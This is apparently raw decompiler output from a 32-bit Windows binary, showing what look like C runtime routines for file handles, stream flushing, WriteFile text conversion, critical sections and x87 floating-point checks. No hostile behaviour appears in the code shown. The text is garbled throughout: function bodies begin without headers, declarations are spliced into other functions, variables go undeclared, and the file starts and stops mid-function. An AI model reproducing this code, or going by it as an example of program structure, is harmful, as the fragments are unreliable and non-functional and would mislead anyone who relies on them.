eax12 = fun_40a184(a2, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffffc);
goto addr_40a216_5;
}
} else {
eax13 = fun_4060e8(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(9);
}
eax12 = 0xffffffff;
addr_40a216_5:
return eax12;
}
uint32_t fun_409d6f(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
uint32_t eax7;
uint32_t eax8;
void** esi9;
void** ebp10;
void** eax11;
uint32_t eax12;
v6 = reinterpret_cast<void**>(__return_address());
if (a2) {
eax7 = fun_409d09(a2);
if (eax7 || (eax8 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 12)) >>
11, !!(*reinterpret_cast<unsigned char*>(&eax8) & 1)) && (eax11 = fun_409288(a2, a2, esi9,
ebp10, v6, a2, a3, a4), eax7 = fun_40a1ac(a2, eax11, a2, esi9, ebp10, v6), !!eax7)) {
eax12 = 0xffffffff;
} else {
eax12 = 0;
}
} else {
eax12 = fun_409dbf(ecx, a2);
}
return eax12;
}
v4 = ecx;
__asm__("wait ");
__asm__("fnstcw word [ebp-0x4]");
__asm__("fldcw word [ebp-0x8]");
return static_cast<int32_t>(*reinterpret_cast<int16_t*>(&v4));
}
__asm__("wait ");
return static_cast<int32_t>(fpu_status_word2);
}
int32_t fun_40ae2c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);
void fun_409ff2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8, void** a9, void** a10, void** a11) {
void** v12;
int32_t ebp13;
void** ecx14;
int32_t ebp15;
void** esi16;
int32_t ebp17;
int1_t zf18;
void** eax19;
uint32_t eax20;
void** eax21;
void** v22;
int32_t eax23;
int32_t ebp24;
int32_t ebp25;
void** eax26;
void** v27;
void** eax28;
void** v29;
void** eax30;
int32_t ebp31;
v12 = reinterpret_cast<void**>(__return_address());
fun_4038a0(ecx, 0x414b30, 16, v12);
*reinterpret_cast<uint32_t*>(ebp13 - 28) = 0;
fun_407a92(ecx, 8);
ecx14 = reinterpret_cast<void**>(8);
*reinterpret_cast<uint32_t*>(ebp15 - 4) = 0;
esi16 = reinterpret_cast<void**>(3);
while (*reinterpret_cast<void***>(ebp17 - 32) = esi16, zf18 = esi16 == g417270, !zf18) {
eax19 = g417274;
if (*reinterpret_cast<void***>(eax19 + reinterpret_cast<unsigned char>(esi16) * 4)) {
eax20 = reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(eax19 + reinterpret_cast<unsigned
char>(esi16) * 4) + 12)) >> 13;
if (*reinterpret_cast<unsigned char*>(&eax20) & 1 && (eax21 = g417274, v22 =
*reinterpret_cast<void***>(eax21 + reinterpret_cast<unsigned char>(esi16) * 4), eax23 =
fun_40ae2c(ecx14, v22, 0x414b30, 16, v12, a2, a3), ecx14 = v22, eax23 != -1)) {
*reinterpret_cast<int32_t*>(ebp24 - 28) = *reinterpret_cast<int32_t*>(ebp25 - 28) + 1;
}
eax26 = g417274;
v27 = *reinterpret_cast<void***>(eax26 + reinterpret_cast<unsigned char>(esi16) * 4) +
32;
DeleteCriticalSection(ecx14, v27);
eax28 = g417274;
v29 = *reinterpret_cast<void***>(eax28 + reinterpret_cast<unsigned char>(esi16) * 4);
fun_406c46(ecx14, v29, v27, 0x4b30, 16, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
ecx14 = v29;
eax30 = g417274;
*reinterpret_cast<void***>(eax30 + reinterpret_cast<unsigned char>(esi16) * 4) =
reinterpret_cast<void**>(0);
}
++esi16;
}
*reinterpret_cast<int32_t*>(ebp31 - 4) = -2;
fun_40a089(ecx14);
fun_4038f0(ecx14, 0x414b30, 16, v12, a2);
goto 0x414b30;
}
struct s50 {
signed char[8] pad8;
void** f8;
};
uint32_t fun_40adb6(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);
int32_t fun_40ae2c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** esi8;
struct s50* ebp9;
int32_t ebp10;
int32_t eax11;
uint32_t eax12;
int32_t ebp13;
int32_t ebp14;
uint32_t eax15;
int32_t ebp16;
int32_t ebp17;
void** eax18;
struct s51 {
signed char[8] pad8;
void*** f8;
};
struct s52 {
signed char[12] pad12;
void**** fc;
};
void** fun_407d0f(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
uint32_t fun_40a0ec(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** esi8;
int32_t ebp9;
void** v10;
struct s51* ebp11;
int32_t ebp12;
void** ecx13;
struct s52* ebp14;
void** v15;
void** eax16;
int32_t eax17;
int32_t ebp18;
int32_t ebp19;
void** eax20;
void** eax21;
void** eax22;
ecx9 = a2;
if (!reinterpret_cast<int1_t>(ecx9 == 0xfffffffe)) {
if (reinterpret_cast<signed char>(ecx9) < reinterpret_cast<signed char>(0) || ((cf10 =
reinterpret_cast<unsigned char>(ecx9) < reinterpret_cast<unsigned char>(g417240), !cf10) ||
(eax11 = reinterpret_cast<signed char>(ecx9) >> 6, ecx9 =
reinterpret_cast<void**>((reinterpret_cast<unsigned char>(ecx9) & 63) * 48),
(*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(eax11 *
4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx9) + 40) & 1) == 0))) {
eax13 = fun_4060d5(ecx9, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(0);
eax14 = fun_4060e8(ecx9, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(9);
fun_40602c(ecx9, ebp12, __return_address(), a2, a3);
} else {
return
*reinterpret_cast<void***>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(eax11 * 4 +
0x417040)) + reinterpret_cast<unsigned char>(ecx9) + 24);
}
} else {
eax15 = fun_4060d5(ecx9, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax15) = reinterpret_cast<void**>(0);
eax16 = fun_4060e8(ecx9, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax16) = reinterpret_cast<void**>(9);
}
return 0xffffffff;
}
EnterCriticalSection();
goto ebp2;
}
void** fun_40ad1d(void** ecx, void** a2, void** a3, void** a4, int32_t a5);
void** fun_40ad9b(void** ecx, void** a2, void** a3, void** a4, int32_t a5) {
void** eax6;
unsigned char fun_40a43b(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6,
void** a7) {
void** esi8;
void** ebp9;
uint32_t eax10;
int32_t edi11;
uint32_t esi12;
void** edi13;
void** eax14;
unsigned char al15;
int32_t v16;
int32_t eax17;
esi5 = a2;
edi6 = a3;
*reinterpret_cast<void***>(esi5) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi5 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi5 + 8) = reinterpret_cast<void**>(0);
eax7 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a4) +
reinterpret_cast<unsigned char>(edi6));
v8 = eax7;
if (reinterpret_cast<unsigned char>(edi6) >= reinterpret_cast<unsigned char>(eax7)) {
addr_40a432_2:
return esi5;
} else {
do {
ebx9 =
reinterpret_cast<void**>(static_cast<uint32_t>(reinterpret_cast<uint16_t>(*reinterpret_cast<voi
d***>(edi6))));
v10 = ebx9;
ax11 = fun_40af11(ecx, *reinterpret_cast<int16_t*>(&v10));
ecx = v10;
if (ax11 != *reinterpret_cast<int16_t*>(&ebx9))
break;
*reinterpret_cast<void***>(esi5 + 4) = *reinterpret_cast<void***>(esi5 + 4) + 2;
if (reinterpret_cast<int1_t>(ebx9 == 10)) {
ax12 = fun_40af11(ecx, 13);
ecx = reinterpret_cast<void**>(13);
if (ax12 != 13)
break;
*reinterpret_cast<void***>(esi5 + 4) = *reinterpret_cast<void***>(esi5 + 4) + 1;
*reinterpret_cast<void***>(esi5 + 8) = *reinterpret_cast<void***>(esi5 + 8) + 1;
}
edi6 = edi6 + 2;
} while (reinterpret_cast<unsigned char>(edi6) < reinterpret_cast<unsigned char>(v8));
goto addr_40a428_8;
}
eax13 = reinterpret_cast<void**>(GetLastError(ecx));
*reinterpret_cast<void***>(esi5) = eax13;
goto addr_40a432_2;
addr_40a428_8:
goto addr_40a432_2;
}
void** fun_40a590(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
uint32_t v11;
uint32_t ebx12;
void** ebx13;
void* eax14;
void** esi15;
int32_t ecx16;
void** eax17;
int32_t v18;
void** v19;
void* edi20;
void* v21;
void* edi22;
void* v23;
int32_t eax24;
void* v25;
void** eax26;
void** eax27;
v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
fun_40cb40(ecx);
v11 = ebx12;
ebx13 = a4;
eax14 = *reinterpret_cast<void**>((reinterpret_cast<signed char>(a3) >> 6) * 4 + 0x417040);
esi15 = a2;
ecx16 = *reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(eax14) +
(reinterpret_cast<unsigned char>(a3) & 63) * 48 + 24);
eax17 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a5) +
reinterpret_cast<unsigned char>(ebx13));
v18 = ecx16;
v19 = eax17;
*reinterpret_cast<void***>(esi15) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi15 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(esi15 + 8) = reinterpret_cast<void**>(0);
while (reinterpret_cast<unsigned char>(ebx13) < reinterpret_cast<unsigned char>(eax17)) {
edi20 = reinterpret_cast<void*>(ebp10 - 0x1404);
do {
if (reinterpret_cast<unsigned char>(ebx13) >= reinterpret_cast<unsigned char>(eax17))
break;
ebx13 = ebx13 + 2;
if (static_cast<uint32_t>(reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ebx13)))
== 10) {
*reinterpret_cast<void***>(esi15 + 8) = *reinterpret_cast<void***>(esi15 + 8) + 2;
edi20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) + 2);
}
edi20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) + 2);
eax17 = v19;
} while (reinterpret_cast<uint32_t>(edi20) < reinterpret_cast<uint32_t>(ebp10 - 6));
v21 = reinterpret_cast<void*>(ebp10 - 0x140c);
edi22 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(edi20) -
reinterpret_cast<uint32_t>(ebp10 - 0x1404) & 0xfffffffe);
v23 = reinterpret_cast<void*>(ebp10 - 0x1404);
eax24 = reinterpret_cast<int32_t>(WriteFile(ecx16, v23, edi22, v21, 0));
if (!eax24)
goto addr_40a663_9;
*reinterpret_cast<void***>(esi15 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi15 + 4)) + reinterpret_cast<uint32_t>(v25));
if (reinterpret_cast<uint32_t>(v25) < reinterpret_cast<uint32_t>(edi22))
goto addr_40a66b_11;
eax17 = v19;
ecx16 = v18;
}
addr_40a66b_11:
eax26 = fun_402f62(v11 ^ reinterpret_cast<uint32_t>(ebp10), v8, v7, a2, a3, a4, a5, a6);
return eax26;
addr_40a663_9:
eax27 = reinterpret_cast<void**>(GetLastError(ecx16, v23, edi22, v21, 0));
*reinterpret_cast<void***>(esi15) = eax27;
goto addr_40a66b_11;
}
void** fun_40be7f(void** ecx, uint32_t a2, void** a3, uint16_t* a4, int32_t a5, int32_t a6, int32_t
a7, int32_t a8, int32_t a9, int32_t a10);
int32_t g41727c;
void** fun_404cda(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, uint32_t a11, void** a12, int32_t a13);
int32_t g417294;
void** fun_4060b2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** esi8;
void** ebp9;
void** eax10;
void** eax11;
void** eax12;
eax10 = fun_4060d5(ecx, esi8, ebp9, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax10) = a2;
eax11 = fun_40606f(a2, a2);
eax12 = fun_4060e8(a2, esi8, ebp9, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax12) = eax11;
return eax12;
}
v2 = reinterpret_cast<int32_t>(__return_address());
v3 = ebp4;
esi5 = a1 + 12;
eax6 = *reinterpret_cast<void***>(esi5);
if ((*reinterpret_cast<unsigned char*>(&eax6) & 3) != 2 || (eax7 =
*reinterpret_cast<void***>(esi5), (*reinterpret_cast<unsigned char*>(&eax7) & 0xc0) == 0)) {
eax8 = 0;
} else {
eax9 = *reinterpret_cast<void***>(a1 + 4);
edi10 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1)) - reinterpret_cast<unsigned char>(eax9));
*reinterpret_cast<void***>(a1) = eax9;
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(0);
if (reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edi10) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(edi10 == 0)) {
addr_409d69_4:
eax8 = 0;
} else {
eax13 = fun_409288(a1, a1, eax9, edi10, edi11, esi12, v3,
*reinterpret_cast<void***>(&v2));
eax14 = fun_40a7ab(a1, eax13, eax9, edi10, edi11, esi12, v3);
if (edi10 == eax14) {
eax15 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(esi5)) >> 2;
if (*reinterpret_cast<unsigned char*>(&eax15) & 1) {
*reinterpret_cast<void***>(esi5) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(esi5)) &
0xfd);
goto addr_409d69_4;
}
} else {
*reinterpret_cast<void***>(esi5) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi5)) | 16);
eax8 = 0xffffffff;
}
}
}
return eax8;
}
void fun_40a092(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
int32_t v12;
int32_t esi13;
void** edi14;
uint32_t eax15;
uint32_t eax16;
void** v17;
void** edi18;
void** ebp19;
v12 = esi13;
edi14 = a2 + 12;
eax15 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(edi14)) >> 13;
if (*reinterpret_cast<unsigned char*>(&eax15) & 1 && (eax16 = reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(edi14)) >> 6, !!(*reinterpret_cast<unsigned char*>(&eax16) &
1))) {
v17 = *reinterpret_cast<void***>(a2 + 4);
fun_406c46(ecx, v17, edi18, *reinterpret_cast<void***>(&v12), ebp19, __return_address(),
a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
*reinterpret_cast<void***>(edi14) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(edi14)) & 0xfffffebf);
*reinterpret_cast<void***>(a2 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 8) = reinterpret_cast<void**>(0);
}
return;
}
uint32_t fun_40bb5e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
int1_t cf8;
void** esi9;
void** ebp10;
void** eax11;
void** eax12;
uint32_t eax13;
void** eax14;
void** eax15;
v7 = ecx;
if (!reinterpret_cast<int1_t>(a2 == 0xfffffffe)) {
if (reinterpret_cast<signed char>(a2) < reinterpret_cast<signed char>(0) || ((cf8 =
reinterpret_cast<unsigned char>(a2) < reinterpret_cast<unsigned char>(g417240), !cf8) || (ecx
= reinterpret_cast<void**>((reinterpret_cast<unsigned char>(a2) & 63) * 48),
(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed char>(a2)
>> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 40) & 1) == 0))) {
eax11 = fun_4060d5(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax11) = reinterpret_cast<void**>(0);
eax12 = fun_4060e8(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax12) = reinterpret_cast<void**>(9);
fun_40602c(ecx, esi9, v7, ebp10, __return_address());
} else {
eax13 = fun_40bb36(a2, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffffc);
goto addr_40bbd8_5;
}
} else {
eax14 = fun_4060d5(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(0);
eax15 = fun_4060e8(ecx, esi9, v7, ebp10, __return_address(), a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(eax15) = reinterpret_cast<void**>(9);
}
eax13 = 0xffffffff;
addr_40bbd8_5:
return eax13;
}
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 8) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 16) = reinterpret_cast<void**>(0xffffffff);
*reinterpret_cast<void***>(a2 + 20) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 24) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a2 + 28) = reinterpret_cast<void**>(0);
eax3 = a2 + 12;
*reinterpret_cast<void***>(eax3) = reinterpret_cast<void**>(0);
return eax3;
}
eax2 = reinterpret_cast<int32_t>(CreateFileW());
g416760 = eax2;
goto "C";
}
__asm__("fld st0");
__asm__("fabs ");
__asm__("fld tword [0x4122de]");
__asm__("fcompp ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp2 - 0xa0) = fpu_status_word3;
__asm__("wait ");
if (*reinterpret_cast<unsigned char*>(ebp4 - 0x9f) & 65) {
__asm__("ftst ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp5 - 0xa0) = fpu_status_word6;
__asm__("wait ");
if (*reinterpret_cast<unsigned char*>(ebp7 - 0x9f) & 1) {
*reinterpret_cast<signed char*>(ebp8 - 0x90) = 4;
__asm__("fstp st0");
__asm__("fldz ");
goto a1;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x4122c0]");
if (ch9) {
__asm__("fchs ");
}
goto a1;
}
} else {
__asm__("fld st0");
__asm__("frndint ");
__asm__("ftst ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp10 - 0xa0) = fpu_status_word11;
__asm__("wait ");
__asm__("fxch st0, st1");
__asm__("fsub st0, st1");
__asm__("ftst ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp12 - 0xa0) = fpu_status_word13;
__asm__("fabs ");
__asm__("f2xm1 ");
return;
}
}
int32_t fun_40b391() {
int16_t ax1;
int16_t fpu_status_word2;
int32_t eax3;
int16_t ax4;
int16_t fpu_status_word5;
__asm__("fld st0");
__asm__("frndint ");
__asm__("fcomp st0, st1");
__asm__("wait ");
ax1 = fpu_status_word2;
if (!*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&ax1) + 1)) {
eax3 = 0;
} else {
__asm__("fld st0");
__asm__("fmul qword [0x4122f2]");
__asm__("fld st0");
__asm__("frndint ");
__asm__("fcompp ");
__asm__("wait ");
ax4 = fpu_status_word5;
if (*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&ax4) + 1)) {
eax3 = 2;
} else {
eax3 = 1;
}
}
return eax3;
}
if (a2 != 0x7ff00000) {
if (a2 != 0xfff00000 || a1) {
cx3 =
reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(reinterpret_cast<int32_t>(&a2) + 2) &
0x7ff8);
if (cx3 != 0x7ff8) {
if (cx3 != 0x7ff0 || !(a2 & 0x7ffff) && !a1) {
return 0;
} else {
v4 = 4;
}
} else {
v4 = 3;
}
} else {
v4 = 2;
}
return v4;
} else {
if (!a1) {
return a1 + 1;
}
}
}
void fun_40c2a5(void** a1, void** a2, void** a3, uint32_t a4, void** a5, void** a6, int32_t a7);
void fun_40c596(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, uint32_t a9, void** a10, int32_t a11);
void fun_40c5c5(void** ecx, void** a2, uint32_t a3, void** a4, void** a5, void** a6, uint32_t a7,
void** a8, int32_t a9, void** a10);
struct s53 {
signed char[88] pad88;
unsigned char f58;
signed char[47] pad136;
unsigned char f88;
};
uint32_t fun_407c7e(void** ecx, void** a2, void** a3, void** a4, void** a5);
uint32_t fun_40bbdd(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** ebp7;
void** edi8;
void** esi9;
void** eax10;
void** ecx11;
struct s53* eax12;
void** eax13;
void** eax14;
void** eax15;
int32_t eax16;
void** esi17;
void** eax18;
void** ecx19;
uint32_t eax20;
v6 = ebp7;
eax10 = fun_407d0f(ecx, a2, edi8, esi9, v6, __return_address(), a2, a3);
ecx11 = a2;
if (reinterpret_cast<int1_t>(eax10 == 0xffffffff) || (((eax12 = g417040,
reinterpret_cast<int1_t>(a2 == 1)) && eax12->f88 & 1 || reinterpret_cast<int1_t>(a2 == 2) &&
eax12->f58 & 1) && (eax13 = fun_407d0f(ecx11, 2, edi8, esi9, v6, __return_address(), a2, a3),
eax14 = fun_407d0f(ecx11, 1, 2, edi8, esi9, v6, __return_address(), a2), ecx11 =
reinterpret_cast<void**>(2), eax14 == eax13) || (eax15 = fun_407d0f(ecx11, a2, edi8, esi9, v6,
__return_address(), a2, a3), ecx11 = a2, eax16 = reinterpret_cast<int32_t>(CloseHandle(ecx11,
eax15)), !!eax16))) {
esi17 = reinterpret_cast<void**>(0);
} else {
eax18 = reinterpret_cast<void**>(GetLastError(ecx11, eax15));
esi17 = eax18;
}
fun_407c7e(ecx11, a2, edi8, esi9, v6);
ecx19 = *reinterpret_cast<void***>((reinterpret_cast<signed char>(a2) >> 6) * 4 + 0x417040);
*reinterpret_cast<signed char*>(reinterpret_cast<uint32_t>(ecx19 +
(reinterpret_cast<unsigned char>(a2) & 63) * 48) + 40) = 0;
if (!esi17) {
eax20 = 0;
} else {
fun_4060b2(ecx19, esi17, edi8, esi9, v6, __return_address(), a2);
eax20 = 0xffffffff;
}
return eax20;
}
uint32_t fun_40bab4(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);
unsigned char fun_40c7c8(void** a1, void** a2, void** a3, void** a4);
void** fun_404cda(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, uint32_t a11, void** a12, int32_t a13) {
void*** ebp14;
uint32_t eax15;
void** v16;
uint32_t esi17;
uint32_t esi18;
void** ebp19;
void** eax20;
void fun_40c596(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, uint32_t a9, void** a10, int32_t a11) {
void** ebp12;
void** eax13;
void** eax14;
if (a2 == 1) {
eax13 = fun_4060e8(ecx, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(33);
} else {
if (reinterpret_cast<uint32_t>(a2 + 0xfffffffe) <= 1) {
eax14 = fun_4060e8(ecx, ebp12, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(34);
return;
}
}
return;
}
void fun_40c2a5(void** a1, void** a2, void** a3, uint32_t a4, void** a5, void** a6, int32_t a7) {
void** ecx8;
int32_t eax9;
int32_t edx10;
uint32_t eax11;
void** ecx12;
void** eax13;
uint32_t eax14;
void** ecx15;
void** eax16;
void** ecx17;
uint32_t eax18;
uint32_t eax19;
void** eax20;
uint32_t eax21;
uint32_t eax22;
void** eax23;
uint32_t eax24;
int32_t esi25;
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(0);
ecx8 = a3;
if (*reinterpret_cast<unsigned char*>(&ecx8) & 16) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 1);
}
if (*reinterpret_cast<unsigned char*>(&ecx8) & 2) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 2);
}
if (*reinterpret_cast<unsigned char*>(&ecx8) & 1) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 4);
}
if (*reinterpret_cast<unsigned char*>(&ecx8) & 4) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 8);
}
if (*reinterpret_cast<unsigned char*>(&ecx8) & 8) {
*reinterpret_cast<void***>(a1 + 4) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 4)) | 16);
}
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) << 4) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 16);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) + reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2))) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 8);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) >> 1) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 4);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) >> 3) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 2);
*reinterpret_cast<void***>(a1 + 8) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8)) ^ (~(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) >> 5) ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 8))) & 1);
eax9 = fun_409fa7(a1);
edx10 = eax9;
if (*reinterpret_cast<unsigned char*>(&edx10) & 1) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 16);
}
if (*reinterpret_cast<unsigned char*>(&edx10) & 4) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 8);
}
if (*reinterpret_cast<unsigned char*>(&edx10) & 8) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 4);
}
if (*reinterpret_cast<unsigned char*>(&edx10) & 16) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 2);
}
if (*reinterpret_cast<unsigned char*>(&edx10) & 32) {
*reinterpret_cast<void***>(a1 + 12) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 12)) | 1);
}
eax11 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2)) & 0xc00;
if (!eax11) {
*reinterpret_cast<void***>(a1) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1)) & 0xfffffffc);
} else {
if (eax11 == 0x400) {
ecx12 = a1;
eax13 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx12)) & 0xfffffffd | 1);
goto addr_40c3f1_25;
} else {
if (eax11 == 0x800) {
ecx12 = a1;
eax13 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx12)) & 0xfffffffe | 2);
goto addr_40c3f1_25;
} else {
if (eax11 == 0xc00) {
*reinterpret_cast<void***>(a1) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1)) | 3);
}
}
}
}
addr_40c407_30:
eax14 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2)) & 0x300;
if (!eax14) {
ecx15 = a1;
eax16 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx15)) & 0xffffffeb | 8);
} else {
